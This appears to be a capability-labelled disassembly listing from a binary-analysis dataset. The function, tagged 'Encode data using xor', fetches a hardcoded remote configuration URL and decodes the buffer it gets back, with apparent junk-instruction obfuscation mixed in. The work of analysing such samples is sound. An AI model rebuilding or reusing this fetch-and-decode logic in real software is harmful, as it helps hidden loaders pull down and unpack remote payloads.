Function at 0x43b2e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5bf250
mov eax, dword fs:[0]
push eax
sub esp, 0x64
mov eax, dword [0x634274]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2c], ecx
call fcn.004607e6
test al, al
je 0x43b317
push edx
add al, 0x60
xchg ecx, eax
invalid
call fcn.004600e4
test al, al
je 0x43b331
stc
stc
clc
cmp edx, ebx
cmp byte [ebx - 0x16b3ceb1], dh
jg 0x43b34f
out dx, eax
sbb ah, dh
add al, 0xe8
dec ebp
add al, byte [eax]
call fcn.00460129
test al, al
je 0x43b34f
mov byte [0x9ba570f7], al
invalid
push 0x4c
push str.https:__config.znshuru.com_smartcloudwb_478a33a024106a0c09482401ceed1de7.aeb
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
call fcn.0040e000
cmp dword [ebp - 0x18], 0
mov dword [ebp - 4], 0
jne 0x43b384
xor ebx, ebx
jmp 0x43b558
call fcn.00460579
test al, al
je 0x43b3a6
mov cl, al
inc ebx
test byte [ebx + edi - 0x3b], dh
mov edx, 0xb9df3508
pop esp
pop ecx
test eax, 0x8aa08f33
push esp
add ebp, dword [esi]
xor byte [esi], dh
sub al, 0x80
push esp
add al, byte [eax]
call fcn.0046082b
test al, al
je 0x43b3c9
xlatb
invalid
lea ecx, [ebp - 0x70]
call fcn.0046fcaa
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 1
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.0046ff81
lea ecx, [ebp - 0x70]
call fcn.004706da
mov edi, eax
mov ecx, 1
mov eax, dword [edi + 4]
sub eax, dword [edi]
cmove eax, ecx
mov dword [ebp - 0x38], eax
lea esi, [eax + 1]
push esi
call fcn.0045566c
push esi
mov ebx, eax
push 0
push ebx
mov dword [ebp - 0x3c], ebx
call fcn.00486960
mov eax, dword [edi + 4]
add esp, 0x10
xor ecx, ecx
sub eax, dword [edi]
je 0x43b438
mov eax, dword [edi]
mov al, byte [ecx + eax]
mov byte [ecx + ebx], al
inc ecx
mov eax, dword [edi + 4]
sub eax, dword [edi]
cmp ecx, eax
jb 0x43b426
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 0
call fcn.00460534
test al, al
je 0x43b465
or al, 0x98
xor dword [0x829dfabb], ecx
sbb byte [ebx + 0x49], bl
adc byte [edx - 0x4dccca9c], 0x77
cmp al, ah
mov ch, al
mov dh, 0x4f
add al, byte [eax]
call fcn.00460420
test al, al
je 0x43b483
inc esp
push ss
xchg edx, edx
ret
call fcn.004607a1
test al, al
je 0x43b4a3
dec edi
sbb dword [eax + 0x42b7c4b4], edx
xor dword [ebx - 0x706e5b44], esp
loop 0x43b461
sal bl, cl
cmp esi, dword [ecx - 0x23]
push esp
cmp al, 0x9b
mov esi, dword [ebp - 0x3c]
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x38]
push esi
call fcn.00471d88
mov eax, dword [ebp - 0x30]
add esp, 0x10
test eax, eax
jne 0x43b4d4
test esi, esi
je 0x43b4d0
push 1
push esi
call fcn.0045565e
add esp, 8
xor ebx, ebx
jmp 0x43b550
mov ecx, dword [ebp - 0x2c]
push eax
call int.0043b5c0
mov dword [ebp - 0x2c], eax
test esi, esi
je 0x43b4ef
push 1
push esi
call fcn.0045565e
add esp, 8
call fcn.004606d2
test al, al
je 0x43b50e
push ss
test dword [ebp - 0x7130e35], ebp
push cs
mov cl, 0xf9
mov esi, 0x2a2035ad
mov al, 0xc7
xor eax, 0x20a9314b
jg 0x43b4f7
call fcn.00460465
push edx
dec edi
add al, byte [eax]
test al, al
je 0x43b530
enter 0xffffffffffff931c, 0x37
mov ebx, 0xf92c3ae6
not byte [ecx]
xchg ebx, eax
inc ecx
sbb eax, 0x423b81ed
adc dword [esi - 0x11], ebx
sbb edi, dword [eax + 0x4de89e01]
dec ebp
add al, byte [eax]
call fcn.00460282
test al, al
je 0x43b54d
jg 0x43b543
out dx, al
and edi, dword [ebx]
xlatb
fimul word [ebx - 0x11]
invalid
mov ebx, dword [ebp - 0x2c]
lea ecx, [ebp - 0x70]
call fcn.0046fd44
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x43b5a2
mov ecx, dword [ebp - 0x28]
inc eax
cmp eax, 0x1000
jb 0x43b599
test cl, 0x1f
je 0x43b575
call fcn.0048a351
mov eax, dword [ecx - 4]
cmp eax, ecx
jb 0x43b581
call fcn.0048a351
sub ecx, eax
cmp ecx, 4
jae 0x43b58d
call fcn.0048a351
cmp ecx, 0x23
jbe 0x43b597
call fcn.0048a351
mov ecx, eax
push ecx
call fcn.00455659
add esp, 4
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00455afe
mov esp, ebp
pop ebp
ret